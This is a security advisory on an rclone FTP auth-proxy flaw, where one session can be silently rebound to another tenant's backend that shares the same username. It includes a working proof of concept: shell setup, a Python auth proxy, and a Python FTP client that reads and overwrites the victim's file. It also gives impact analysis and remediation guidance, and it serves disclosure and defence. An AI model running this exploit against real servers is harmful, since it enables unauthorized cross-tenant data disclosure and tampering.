rclone: FTP cross-session auth-proxy backend confusion

d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())

After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:

d.userPass[user] = oPass

For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.

The authorization sequence is therefore:

1. Session A authenticates as shared with credential A and receives backend A.
2. Session B authenticates as shared with credential B and overwrites userPass["shared"].
3. Session A performs another FTP command.
4. getVFS uses credential B, not the credential that authenticated Session A.
5. The proxy returns backend B, and Session A's command runs there.

This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.

Proof of Concept & Evidence

Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:

mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt

cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

request = json.load(sys.stdin)
roots = {
    "attacker-token": "/tmp/rclone-ftp-attacker",
    "victim-token": "/tmp/rclone-ftp-victim",
}

if request.get("user") != "shared" or request.get("pass") not in roots:
    sys.exit(1)

print(json.dumps({
    "type": "local",
    "_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py

Start the FTP server on loopback:

./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010

In another terminal, keep both sessions open and trigger the overwrite:

python3 - <<'PY'
import ftplib
import io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")

# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"

try:
    attacker.size("victim.txt")
    raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
    pass

# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0

# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY

grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

• Before the victim login, the attacker session resolves only the attacker root.
• After the victim login, the already-authenticated attacker session reads victim.txt.
• A write through the attacker session overwrites the file in the victim root.

The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationFTPAuthProxyCrossSession
--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)

Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.

Impact Assessment

A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.

The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.

This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.

Remediation Guidance

Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.

A compatible fix is:

1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.
2. In getVFS, retrieve only that session binding. Never consult a driver-global username map.
3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.
4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity.
5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.

Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the *ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.